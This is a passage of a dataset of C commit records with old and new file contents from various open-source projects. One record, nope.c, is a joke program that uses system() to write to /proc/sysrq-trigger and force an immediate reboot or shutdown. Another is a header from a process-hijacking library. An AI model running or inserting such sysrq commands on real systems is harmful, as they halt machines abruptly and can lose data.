-O0","message":"Fix a trivial bug that causes a compilation error with clang++ -O0\n","lang":"C","license":"mit","repos":"etheriqa\/amber"}
{"commit":"6402a9ebbeab065f0f9f9c274c1ee15a4b34d987","old_file":"sawbuck\/viewer\/const_config.h","new_file":"sawbuck\/viewer\/const_config.h","old_contents":"","new_contents":"\/\/ Copyright 2009 Google Inc.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/\n\/\/ Configuration-related constants.\n#ifndef SAWBUCK_VIEWER_CONST_CONFIG_H_\n#define SAWBUCK_VIEWER_CONST_CONFIG_H_\n\nnamespace config {\n\nconst wchar_t kSettingsKey[] = L\"Software\\\\Google\\\\SawBuck\";\nconst wchar_t kProviderNamesKey[] = L\"Software\\\\Google\\\\SawBuck\\\\Providers\";\nconst wchar_t kProviderLevelsKey[] = L\"Software\\\\Google\\\\SawBuck\\\\Levels\";\n\nconst wchar_t kWindowPosValue[] = L\"window_pos\";\nconst wchar_t kLogViewColumnOrder[] = L\"log_view_column_order\";\nconst wchar_t kLogViewColumnWidths[] = L\"log_view_column_widths\";\n\n}  \/\/ namespace config\n\n#endif  \/\/ SAWBUCK_VIEWER_CONST_CONFIG_H_\n","subject":"Add a config constants file missing from previous checkin.","message":"Add a config constants file missing from previous checkin.\n\nReview URL: http:\/\/codereview.appspot.com\/183148\n\ngit-svn-id: db59699583a60be9a535cd09cdc9132301867226@19 15e8cca8-e42c-11de-a347-f34a4f72eb7d\n","lang":"C","license":"apache-2.0","repos":"wangming28\/syzygy,supriyantomaftuh\/syzygy,google\/syzygy,sebmarchand\/syzygy,wangming28\/syzygy,ericmckean\/syzygy,pombreda\/syzygy,Eloston\/syzygy,supriyantomaftuh\/syzygy,google\/syzygy,supriyantomaftuh\/syzygy,pombreda\/syzygy,ericmckean\/syzygy,sebmarchand\/syzygy,google\/syzygy,pombreda\/syzygy,Eloston\/syzygy,ericmckean\/syzygy,pombreda\/syzygy,ericmckean\/syzygy,supriyantomaftuh\/syzygy,ericmckean\/syzygy,wangming28\/syzygy,sebmarchand\/syzygy,sebmarchand\/syzygy,sebmarchand\/syzygy,google\/syzygy,wangming28\/syzygy,pombreda\/syzygy"}
{"commit":"42c77b7277930825192f0aea837ff1cdc12e2822","old_file":"shaderDefines.h","new_file":"shaderDefines.h","old_contents":"#define ATTR_POS   0\n#define ATTR_UV    1\n#define ATTR_COLOR 2\n\n\n#ifdef __cplusplus\n\nstruct Globals\n\n#else  \/\/ __cplusplus\n\nlayout(binding = 0, std140) uniform Globals\n\n#endif  \/\/ __cplusplus\n{\n\tvec4 screenSize;\n\tmat4 viewProj;\n\tmat4 guiOrtho;\n};\n\n\nstruct Cube {\n\tvec4 rotation;\n\tvec3 position;\n\tuint color;\n};\n","new_contents":"#define ATTR_POS   0\n#define ATTR_UV    1\n#define ATTR_COLOR 2\n\n\n#ifdef __cplusplus\n\nstruct Globals\n\n#else  \/\/ __cplusplus\n\nlayout(set = 0, binding = 0, std140) uniform Globals\n\n#endif  \/\/ __cplusplus\n{\n\tvec4 screenSize;\n\tmat4 viewProj;\n\tmat4 guiOrtho;\n};\n\n\nstruct Cube {\n\tvec4 rotation;\n\tvec3 position;\n\tuint color;\n};\n","subject":"Add explicit set index to Globals uniform buffer","message":"Add explicit set index to Globals uniform buffer\n","lang":"C","license":"mit","repos":"turol\/smaaDemo,turol\/smaaDemo,turol\/smaaDemo,turol\/smaaDemo,turol\/smaaDemo,turol\/smaaDemo,turol\/smaaDemo,turol\/smaaDemo,turol\/smaaDemo,turol\/smaaDemo,turol\/smaaDemo"}
{"commit":"0836e697be7e08dd2489c185feb5a371bf62f6ba","old_file":"nope.c","new_file":"nope.c","old_contents":"\/*\n * nope - for noping out.\n *\n * Copyright 2017 by Jack Kingsman <jack.kingsman@gmail.com>\n *\n * Permission to use, copy, modify, distribute, and sell this software\n * and its documentation for any purpose is hereby granted without fee,\n * provided that the above copyright notice appear in all copies and\n * that both that copyright notice and this permission notice appear in\n * supporting documentation.  No representations are made about the\n * suitability of this software for any purpose.  It is provided \"as\n * is\" without express or implied warranty.\n *\/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n\nint main() {\n\tint i;\n\tfor(i = 0; i <= 400; ++i) {\n\t\t\/\/ just to drive the point home\n\t\tprintf(\"nope nope fuckin' nopity nope nope nooooooope nope nope nopin' nope nope \");\n\t}\n\n\t\/\/ the meat\n\tsystem(\"echo 1 > \/proc\/sys\/kernel\/sysrq\"); \/\/ enable sysrq\n\tsystem(\"echo b > \/proc\/sysrq-trigger\"); \/\/ issue shutdown command\n\n\twhile(1) {}; \/\/ spin 'til we die\n\n\treturn 0;\n}\n","new_contents":"\/*\n * nope - for noping out.\n *\n * Copyright 2017 by Jack Kingsman <jack.kingsman@gmail.com>\n *\n * Permission to use, copy, modify, distribute, and sell this software\n * and its documentation for any purpose is hereby granted without fee,\n * provided that the above copyright notice appear in all copies and\n * that both that copyright notice and this permission notice appear in\n * supporting documentation.  No representations are made about the\n * suitability of this software for any purpose.  It is provided \"as\n * is\" without express or implied warranty.\n *\/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n\nint main() {\n\tint i;\n\tfor(i = 0; i <= 400; ++i) {\n\t\t\/\/ just to drive the point home\n\t\tprintf(\"nope nope fuckin' nopity nope nope nooooooope nope nope nopin' nope nope \");\n\t}\n\n\t\/\/ the meat\n\tsystem(\"echo 1 > \/proc\/sys\/kernel\/sysrq\"); \/\/ enable sysrq\n\tsystem(\"echo o > \/proc\/sysrq-trigger\"); \/\/ issue shutdown command\n\n\twhile(1) {}; \/\/ spin 'til we die\n\n\treturn 0;\n}\n","subject":"Convert from reboot to shutdown","message":"Convert from reboot to shutdown\n","lang":"C","license":"mit","repos":"jkingsman\/nope"}
{"commit":"5ca164cff61111216fd424e7c5c125cc4fa5f36a","old_file":"source\/common\/mesh_elements.h","new_file":"source\/common\/mesh_elements.h","old_contents":"","new_contents":"\/* Lantern - A path tracer\n*\n* Lantern is the legal property of Adrian Astley\n* Copyright Adrian Astley 2015 - 2016\n*\/\n\n#pragma once\n\n#include \"vector_types.h\"\n\n\nnamespace Lantern {\n\ntypedef float4 Vertex;\n\nstruct Triangle {\n\tint V0, V1, V2;\n};\n\n} \/\/ End of namespace Lantern\n","subject":"Create structs for triangle mesh representations","message":"Create structs for triangle mesh representations\n","lang":"C","license":"apache-2.0","repos":"RichieSams\/lantern,RichieSams\/lantern"}
{"commit":"23b071e99c45844061ef5fad702993e27a1cd1d9","old_file":"tests\/test_time.c","new_file":"tests\/test_time.c","old_contents":"#define _RESCLIB_SOURCE\n#include <stdlib.h>\n#undef _RESCLIB_SOURCE\n#include <string.h>\n#include <time.h>\n#include \"seatest.h\"\n\nstatic void test_gmtime_asctime (void)\n{\n    time_t timestamps[] = {\n        -12219292800,\n        0,\n        1468110957\n    };\n    char timestamp_strings[][26] = {\n        \"Fri Oct 15  0: 0: 0 1582\\n\",\n        \"Thu Jan  1  0: 0: 0 1970\\n\",\n        \"Sun Jul 10  0:35:57 2016\\n\"\n    };\n    assert_int_equal(_countof(timestamps), _countof(timestamp_strings));\n    for (size_t i = 0; i < _countof(timestamps); i++) {\n        struct tm t;\n        gmtime_s(&(timestamps[i]), &t);\n        char buf[26];\n        asctime_s(buf, sizeof(buf), &t);\n        assert_int_equal(0, strcmp(buf, timestamp_strings[i]));\n    }\n}\n\nvoid test_time (void)\n{\n    test_fixture_start();\n    run_test(test_gmtime_asctime);\n    test_fixture_end();\n}\n","new_contents":"#define _RESCLIB_SOURCE\n#include <stdlib.h>\n#undef _RESCLIB_SOURCE\n#include <time.h>\n#include \"seatest.h\"\n\nstatic void test_gmtime_asctime (void)\n{\n    time_t timestamps[] = {\n        -12219292800,\n        0,\n        1468110957\n    };\n    char timestamp_strings[][26] = {\n        \"Fri Oct 15  0: 0: 0 1582\\n\",\n        \"Thu Jan  1  0: 0: 0 1970\\n\",\n        \"Sun Jul 10  0:35:57 2016\\n\"\n    };\n    assert_int_equal(_countof(timestamps), _countof(timestamp_strings));\n    for (size_t i = 0; i < _countof(timestamps); i++) {\n        struct tm t;\n        gmtime_s(&(timestamps[i]), &t);\n        char buf[26];\n        asctime_s(buf, sizeof(buf), &t);\n        assert_string_equal(timestamp_strings[i], buf);\n    }\n}\n\nvoid test_time (void)\n{\n    test_fixture_start();\n    run_test(test_gmtime_asctime);\n    test_fixture_end();\n}\n","subject":"Use assert_string... instead of assert_int...","message":"Use assert_string... instead of assert_int...\n","lang":"C","license":"mit","repos":"kristapsk\/resclib,kristapsk\/reclib,kristapsk\/reclib,kristapsk\/resclib"}
{"commit":"ee62a25839ebf871fe04d3edb190b6ec3d535fe0","old_file":"RespokeSDK\/NSString+urlencode.h","new_file":"RespokeSDK\/NSString+urlencode.h","old_contents":"\/\/\n\/\/  NSString+urlencode.h\n\/\/  Respoke SDK\n\/\/\n\/\/  Copyright 2015, Digium, Inc.\n\/\/  All rights reserved.\n\/\/\n\/\/  This source code is licensed under The MIT License found in the\n\/\/  LICENSE file in the root directory of this source tree.\n\/\/\n\/\/  For all details and documentation:  https:\/\/www.respoke.io\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@interface NSString (NSString_Extended)\n\n\/**\n *  Url-encodes a string, suitable for placing into a url as a portion of the query string\n *\n * @return The url-encoded version of the string\n *\/\n- (NSString *)urlencode;\n\n@end\n","new_contents":"\/\/\n\/\/  NSString+urlencode.h\n\/\/  Respoke SDK\n\/\/\n\/\/  Copyright 2015, Digium, Inc.\n\/\/  All rights reserved.\n\/\/\n\/\/  This source code is licensed under The MIT License found in the\n\/\/  LICENSE file in the root directory of this source tree.\n\/\/\n\/\/  For all details and documentation:  https:\/\/www.respoke.io\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@interface NSString (NSString_Extended)\n\n\/**\n *  Url-encodes a string, suitable for placing into a url as a portion of the query string. \n *  Source taken from http:\/\/stackoverflow.com\/a\/8088484\/355743\n *\n * @return The url-encoded version of the string\n *\/\n- (NSString *)urlencode;\n\n@end\n","subject":"Add comment about source of urlencode category","message":"Add comment about source of urlencode category\n","lang":"C","license":"mit","repos":"respoke\/respoke-sdk-ios,respoke\/respoke-sdk-ios,respoke\/respoke-sdk-ios"}
{"commit":"04a4db7d336ae2cae94ac3234086b22fbf1339f0","old_file":"src\/canutil\/write.c","new_file":"src\/canutil\/write.c","old_contents":"#include \"write.h\"\n\nuint64_t encodeFloat(float value, uint8_t bitPosition, uint8_t bitSize,\n        float factor, float offset) {\n    float rawValue = (value - offset) \/ factor;\n    if(rawValue > 0) {\n        \/\/ round up to avoid losing precision when we cast to an int\n        rawValue += 0.5;\n    }\n    uint64_t result = 0;\n    setBitField(&result, (uint64_t)rawValue, bitPosition, bitSize);\n    return result;\n}\n\nuint64_t encodeBoolean(bool value, uint8_t bitPosition, uint8_t bitSize,\n        float factor, float offset) {\n    return encodeFloat(value, offset, factor, bitPosition, bitSize);\n}\n","new_contents":"#include \"write.h\"\n#include <bitfield\/bitfield.h>\n\nuint64_t encodeFloat(float value, uint8_t bitPosition, uint8_t bitSize,\n        float factor, float offset) {\n    float rawValue = (value - offset) \/ factor;\n    if(rawValue > 0) {\n        \/\/ round up to avoid losing precision when we cast to an int\n        rawValue += 0.5;\n    }\n    uint64_t result = 0;\n    setBitField(&result, (uint64_t)rawValue, bitPosition, bitSize);\n    return result;\n}\n\nuint64_t encodeBoolean(bool value, uint8_t bitPosition, uint8_t bitSize,\n        float factor, float offset) {\n    return encodeFloat(value, offset, factor, bitPosition, bitSize);\n}\n","subject":"Add missing include for explicit import.","message":"Add missing include for explicit import.\n","lang":"C","license":"bsd-3-clause","repos":"openxc\/bitfield-c,openxc\/bitfield-c"}
{"commit":"8b1b109193042a0411926739baf81f30c686dcb4","old_file":"libhijack\/arch\/aarch64\/hijack_machdep.h","new_file":"libhijack\/arch\/aarch64\/hijack_machdep.h","old_contents":"\/*\n * Copyright (c) 2017, Shawn Webb\n * All rights reserved.\n * \n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * \n *    * Redistributions of source code must retain the above copyright\n *      notice, this list of conditions and the following disclaimer.\n *    * Redistributions in binary form must reproduce the above\n *      copyright notice, this list of conditions and the following\n *      disclaimer in the documentation and\/or other materials\n *      provided with the distribution.\n * \n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,\n * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\n * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,\n * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED\n * OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#ifndef _HIJACK_MACHDEP\n#define\t_HIJACK_MACHDEP\n\n#define\tBASEADDR\t0x00400000\n#define\tSYSCALLSEARCH\t\"\\x0f\\x05\"\n#define\tMMAPSYSCALL\t477\n\n#endif \/* !_HIJACK_MACHDEP *\/\n","new_contents":"\/*\n * Copyright (c) 2017, Shawn Webb\n * All rights reserved.\n * \n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * \n *    * Redistributions of source code must retain the above copyright\n *      notice, this list of conditions and the following disclaimer.\n *    * Redistributions in binary form must reproduce the above\n *      copyright notice, this list of conditions and the following\n *      disclaimer in the documentation and\/or other materials\n *      provided with the distribution.\n * \n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,\n * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\n * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,\n * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED\n * OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#ifndef _HIJACK_MACHDEP\n#define\t_HIJACK_MACHDEP\n\n#define\tBASEADDR\t0x00400000\n#define\tSYSCALLSEARCH\t\"\\x01\\x00\\x00\\xd4\"\n#define\tMMAPSYSCALL\t477\n\n#endif \/* !_HIJACK_MACHDEP *\/\n","subject":"Use the right opcode for the svc instruction","message":"Use the right opcode for the svc instruction\n\nThis is a NOP on arm64 right now.\n\nSigned-off-by:\tShawn Webb <63bc49e2baae731b3d1a43666c374487dee71f11@hardenedbsd.org>\n","lang":"C","license":"bsd-2-clause","repos":"SoldierX\/libhijack"}
{"commit":"70a260148ff33185ce8e70b3dbd46a15c0ff5aaf","old_file":"cc2\/arch\/qbe\/code.c","new_file":"cc2\/arch\/qbe\/code.c","old_contents":"\n#include <stdio.h>\n#include <stdlib.h>\n\n#include \"arch.h\"\n#include \"..\/..\/cc2.h\"\n#include \"..\/..\/..\/inc\/sizes.h\"\n\n\nvoid\ndefsym(Symbol *sym, int alloc)\n{\n}\n\nvoid\ndata(Node *np)\n{\n}\n\nvoid\nwriteout(void)\n{\n}\n","new_contents":"\n#include <stdio.h>\n#include <stdlib.h>\n\n#include \"arch.h\"\n#include \"..\/..\/cc2.h\"\n#include \"..\/..\/..\/inc\/sizes.h\"\n\n\/*\n * : is for user-defined Aggregate Types\n * $ is for globals (represented by a pointer)\n * % is for function-scope temporaries\n * @ is for block labels\n *\/\nstatic char\nsigil(Symbol *sym)\n{\n\tswitch (sym->kind) {\n\tcase EXTRN:\n\tcase GLOB:\n\tcase PRIVAT:\n\tcase LOCAL:\n\t\treturn '$';\n\tcase AUTO:\n\tcase REG:\n\t\treturn '%';\n\tdefault:\n\t\tabort();\n\t}\n}\n\nstatic void\nsize2asm(Type *tp)\n{\n\tchar *s;\n\n\tif (tp->flags & STRF) {\n\t\tabort();\n\t} else {\n\t\tswitch (tp->size) {\n\t\tcase 1:\n\t\t\ts = \"b\\t\";\n\t\t\tbreak;\n\t\tcase 2:\n\t\t\ts = \"h\\t\";\n\t\t\tbreak;\n\t\tcase 4:\n\t\t\ts = \"w\\t\";\n\t\t\tbreak;\n\t\tcase 8:\n\t\t\ts = \"q\\t\";\n\t\t\tbreak;\n\t\tdefault:\n\t\t\ts = \"z\\t%llu\\t\";\n\t\t\tbreak;\n\t\t}\n\t}\n\tprintf(s, (unsigned long long) tp->size);\n}\n\nvoid\ndefsym(Symbol *sym, int alloc)\n{\n\tif (!alloc)\n\t\treturn;\n\tif (sym->kind == GLOB)\n\t\tfputs(\"export \", stdout);\n\tprintf(\"data %c%s = {\\n\", sigil(sym), sym->name);\n\tif (sym->type.flags & INITF)\n\t\treturn;\n\tputchar('\\t');\n\tsize2asm(&sym->type);\n\tputs(\"0\\n}\");\n}\n\nvoid\ndata(Node *np)\n{\n}\n\nvoid\nwriteout(void)\n{\n}\n","subject":"Add basic implementation of defsym()","message":"[cc2] Add basic implementation of defsym()\n\nThis is a first implementation which a limited implementation of\nsigil() and of size2asm() that, for instance, does not support\nstrings.\n","lang":"C","license":"isc","repos":"k0gaMSX\/scc,k0gaMSX\/scc,k0gaMSX\/scc"}
{"commit":"09ce2e218fb34ec0ad182e3d378614257fdb22e6","old_file":"subsys\/random\/rand32_entropy_device.c","new_file":"subsys\/random\/rand32_entropy_device.c","old_contents":"\/*\n * Copyright (c) 2017 Intel Corporation\n *\n * SPDX-License-Identifier: Apache-2.0\n *\/\n\n#include <atomic.h>\n#include <kernel.h>\n#include <entropy.h>\n\nstatic atomic_t entropy_driver;\n\nu32_t sys_rand32_get(void)\n{\n\tstruct device *dev = (struct device *)atomic_get(&entropy_driver);\n\tu32_t random_num;\n\tint ret;\n\n\tif (unlikely(!dev)) {\n\t\t\/* Only one entropy device exists, so this is safe even\n\t\t * if the whole operation isn't atomic.\n\t\t *\/\n\t\tdev = device_get_binding(CONFIG_ENTROPY_NAME);\n\t\tatomic_set(&entropy_driver, (atomic_t)(uintptr_t)dev);\n\t}\n\n\tret = entropy_get_entropy(dev, (u8_t *)&random_num,\n\t\t\t\t  sizeof(random_num));\n\tif (unlikely(ret < 0)) {\n\t\t\/* Use system timer in case the entropy device couldn't deliver\n\t\t * 32-bit of data.  There's not much that can be done in this\n\t\t * situation.  An __ASSERT() isn't used here as the HWRNG might\n\t\t * still be gathering entropy during early boot situations.\n\t\t *\/\n\n\t\trandom_num = k_cycle_get_32();\n\t}\n\n\treturn random_num;\n}\n","new_contents":"\/*\n * Copyright (c) 2017 Intel Corporation\n *\n * SPDX-License-Identifier: Apache-2.0\n *\/\n\n#include <atomic.h>\n#include <kernel.h>\n#include <entropy.h>\n\nstatic atomic_t entropy_driver;\n\nu32_t sys_rand32_get(void)\n{\n\tstruct device *dev = (struct device *)atomic_get(&entropy_driver);\n\tu32_t random_num;\n\tint ret;\n\n\tif (unlikely(!dev)) {\n\t\t\/* Only one entropy device exists, so this is safe even\n\t\t * if the whole operation isn't atomic.\n\t\t *\/\n\t\tdev = device_get_binding(CONFIG_ENTROPY_NAME);\n\t\t__ASSERT((dev != NULL),\n\t\t\t\"Device driver for %s (CONFIG_ENTROPY_NAME) not found. \"\n\t\t\t\"Check your build configuration!\",\n\t\t\tCONFIG_ENTROPY_NAME);\n\t\tatomic_set(&entropy_driver, (atomic_t)(uintptr_t)dev);\n\t}\n\n\tret = entropy_get_entropy(dev, (u8_t *)&random_num,\n\t\t\t\t  sizeof(random_num));\n\tif (unlikely(ret < 0)) {\n\t\t\/* Use system timer in case the entropy device couldn't deliver\n\t\t * 32-bit of data.  There's not much that can be done in this\n\t\t * situation.  An __ASSERT() isn't used here as the HWRNG might\n\t\t * still be gathering entropy during early boot situations.\n\t\t *\/\n\n\t\trandom_num = k_cycle_get_32();\n\t}\n\n\treturn random_num;\n}\n","subject":"Add _ASSERT() test on returned device_get_binding","message":"subsys\/random: Add _ASSERT() test on returned device_get_binding\n\nIf there is a build setup problem where a device driver has not been\nsetup for the entropy driver then the call to device_get_binding()\nwill return a NULL value and the code will continue to use this NULL\nvalue. The result is a hard fault later in code execution.\n\nNote that CONFIG_ASSERT is by default off so one has to turn this\nconfiguration on to catch this problem.\n\nSigned-off-by: David Leach <98707a1e43c521c5b5b81e36afef696dde6831a3@nxp.com>\n","lang":"C","license":"apache-2.0","repos":"mbolivar\/zephyr,mbolivar\/zephyr,Vudentz\/zephyr,finikorg\/zephyr,kraj\/zephyr,mbolivar\/zephyr,aceofall\/zephyr-iotos,nashif\/zephyr,galak\/zephyr,galak\/zephyr,ldts\/zephyr,zephyriot\/zephyr,explora26\/zephyr,galak\/zephyr,zephyrproject-rtos\/zephyr,galak\/zephyr,mbolivar\/zephyr,ldts\/zephyr,punitvara\/zephyr,GiulianoFranchetto\/zephyr,GiulianoFranchetto\/zephyr,punitvara\/zephyr,mbolivar\/zephyr,punitvara\/zephyr,zephyriot\/zephyr,aceofall\/zephyr-iotos,nashif\/zephyr,kraj\/zephyr,GiulianoFranchetto\/zephyr,nashif\/zephyr,punitvara\/zephyr,zephyrproject-rtos\/zephyr,finikorg\/zephyr,explora26\/zephyr,aceofall\/zephyr-iotos,explora26\/zephyr,zephyriot\/zephyr,GiulianoFranchetto\/zephyr,zephyrproject-rtos\/zephyr,Vudentz\/zephyr,ldts\/zephyr,ldts\/zephyr,kraj\/zephyr,kraj\/zephyr,ldts\/zephyr,aceofall\/zephyr-iotos,Vudentz\/zephyr,zephyrproject-rtos\/zephyr,nashif\/zephyr,explora26\/zephyr,punitvara\/zephyr,GiulianoFranchetto\/zephyr,Vudentz\/zephyr,zephyriot\/zephyr,zephyriot\/zephyr,finikorg\/zephyr,aceofall\/zephyr-iotos,Vudentz\/zephyr,galak\/zephyr,nashif\/zephyr,kraj\/zephyr,Vudentz\/zephyr,explora26\/zephyr,finikorg\/zephyr,finikorg\/zephyr,zephyrproject-rtos\/zephyr"}
{"commit":"5e4e3c9ecf68d84bb14e8fb9636537b25b0d77a2","old_file":"src\/libsodium\/crypto_scalarmult\/curve25519\/scalarmult_curve25519_api.c","new_file":"src\/libsodium\/crypto_scalarmult\/curve25519\/scalarmult_curve25519_api.c","old_contents":"#include \"crypto_scalarmult_curve25519.h\"\n\nsize_t\ncrypto_scalarmult_curve25519_bytes(void)\n{\n    return crypto_scalarmult_curve25519_BYTES;\n}\n\nsize_t\ncrypto_scalarmult_curve25519_scalarbytes(void)\n{\n    return crypto_scalarmult_curve25519_SCALARBYTES;\n}\n","new_contents":"\n#include \"crypto_scalarmult_curve25519.h\"\n\nsize_t\ncrypto_scalarmult_curve25519_bytes(void)\n{\n    return crypto_scalarmult_curve25519_BYTES;\n}\n\nsize_t\ncrypto_scalarmult_curve25519_scalarbytes(void)\n{\n    return crypto_scalarmult_curve25519_SCALARBYTES;\n}\n","subject":"Add an empty line. Yeah, that's a fantastic commit.","message":"Add an empty line. Yeah, that's a fantastic commit.\n","lang":"C","license":"isc","repos":"mvduin\/libsodium,rustyhorde\/libsodium,rustyhorde\/libsodium,pyparallel\/libsodium,optedoblivion\/android_external_libsodium,CyanogenMod\/android_external_dnscrypt_libsodium,Payshares\/libsodium,Payshare\/libsodium,kytvi2p\/libsodium,HappyYang\/libsodium,tml\/libsodium,donpark\/libsodium,CyanogenMod\/android_external_dnscrypt_libsodium,eburkitt\/libsodium,donpark\/libsodium,akkakks\/libsodium,soumith\/libsodium,eburkitt\/libsodium,pmienk\/libsodium,SpiderOak\/libsodium,SpiderOak\/libsodium,HappyYang\/libsodium,paragonie-scott\/libsodium,tml\/libsodium,GreatFruitOmsk\/libsodium,soumith\/libsodium,Payshare\/libsodium,zhuqling\/libsodium,SpiderOak\/libsodium,mvduin\/libsodium,GreatFruitOmsk\/libsodium,kytvi2p\/libsodium,akkakks\/libsodium,paragonie-scott\/libsodium,CyanogenMod\/android_external_dnscrypt_libsodium,Payshares\/libsodium,netroby\/libsodium,eburkitt\/libsodium,paragonie-scott\/libsodium,SpiderOak\/libsodium,soumith\/libsodium,akkakks\/libsodium,rustyhorde\/libsodium,pyparallel\/libsodium,kytvi2p\/libsodium,Payshare\/libsodium,JackWink\/libsodium,Payshares\/libsodium,tml\/libsodium,akkakks\/libsodium,netroby\/libsodium,JackWink\/libsodium,JackWink\/libsodium,pmienk\/libsodium,optedoblivion\/android_external_libsodium,donpark\/libsodium,zhuqling\/libsodium,zhuqling\/libsodium,GreatFruitOmsk\/libsodium,pmienk\/libsodium,mvduin\/libsodium,HappyYang\/libsodium,netroby\/libsodium,pyparallel\/libsodium,rustyhorde\/libsodium,optedoblivion\/android_external_libsodium"}
{"commit":"95b8564b85eb67cdf7cfafe1985e58894ab7134b","old_file":"test\/Frontend\/plugins.c","new_file":"test\/Frontend\/plugins.c","old_contents":"\/\/ RUN: %clang_cc1 -load %llvmshlibdir\/PrintFunctionNames%pluginext -plugin print-fns %s 2>&1 | FileCheck %s\n\/\/ RUN: %clang_cl -Xclang -load -Xclang %llvmshlibdir\/PrintFunctionNames%pluginext -Xclang -plugin -Xclang print-fns %s 2>&1 | FileCheck %s\n\/\/ REQUIRES: plugins, examples\n\n\/\/ CHECK: top-level-decl: \"x\"\nvoid x();\n","new_contents":"\/\/ RUN: %clang_cc1 -load %llvmshlibdir\/PrintFunctionNames%pluginext -plugin print-fns %s 2>&1 | FileCheck %s\n\/\/ RUN: %clang_cl -c -Xclang -load -Xclang %llvmshlibdir\/PrintFunctionNames%pluginext -Xclang -plugin -Xclang print-fns -Tc %s 2>&1 | FileCheck %s\n\/\/ REQUIRES: plugins, examples\n\n\/\/ CHECK: top-level-decl: \"x\"\nvoid x();\n","subject":"Fix the test added in r260266","message":"Fix the test added in r260266\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@260276 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"79408a202316fa24af2d6caf8c129dcd6f97f87e","old_file":"sw\/device\/lib\/testing\/test_status.c","new_file":"sw\/device\/lib\/testing\/test_status.c","old_contents":"\/\/ Copyright lowRISC contributors.\n\/\/ Licensed under the Apache License, Version 2.0, see LICENSE for details.\n\/\/ SPDX-License-Identifier: Apache-2.0\n\n#include \"sw\/device\/lib\/testing\/test_status.h\"\n\n#include \"sw\/device\/lib\/arch\/device.h\"\n#include \"sw\/device\/lib\/base\/log.h\"\n#include \"sw\/device\/lib\/base\/mmio.h\"\n#include \"sw\/device\/lib\/runtime\/hart.h\"\n\n\/**\n * Address of the memory location to write the test status. For DV use only.\n *\/\nstatic const uintptr_t kSwDvTestStatusAddr = 0x1000fff8;\n\nvoid test_status_set(test_status_t test_status) {\n  if (kDeviceType == kDeviceSimDV) {\n    mmio_region_t sw_dv_test_status_addr =\n        mmio_region_from_addr(kSwDvTestStatusAddr);\n    mmio_region_write32(sw_dv_test_status_addr, 0x0, (uint32_t)test_status);\n  }\n\n  switch (test_status) {\n    case kTestStatusPassed: {\n      LOG_INFO(\"PASS\");\n      abort();\n      break;\n    }\n    case kTestStatusFailed: {\n      LOG_INFO(\"FAIL\");\n      abort();\n      break;\n    }\n    default: {\n      \/\/ Do nothing.\n      break;\n    }\n  }\n}\n","new_contents":"\/\/ Copyright lowRISC contributors.\n\/\/ Licensed under the Apache License, Version 2.0, see LICENSE for details.\n\/\/ SPDX-License-Identifier: Apache-2.0\n\n#include \"sw\/device\/lib\/testing\/test_status.h\"\n\n#include \"sw\/device\/lib\/arch\/device.h\"\n#include \"sw\/device\/lib\/base\/log.h\"\n#include 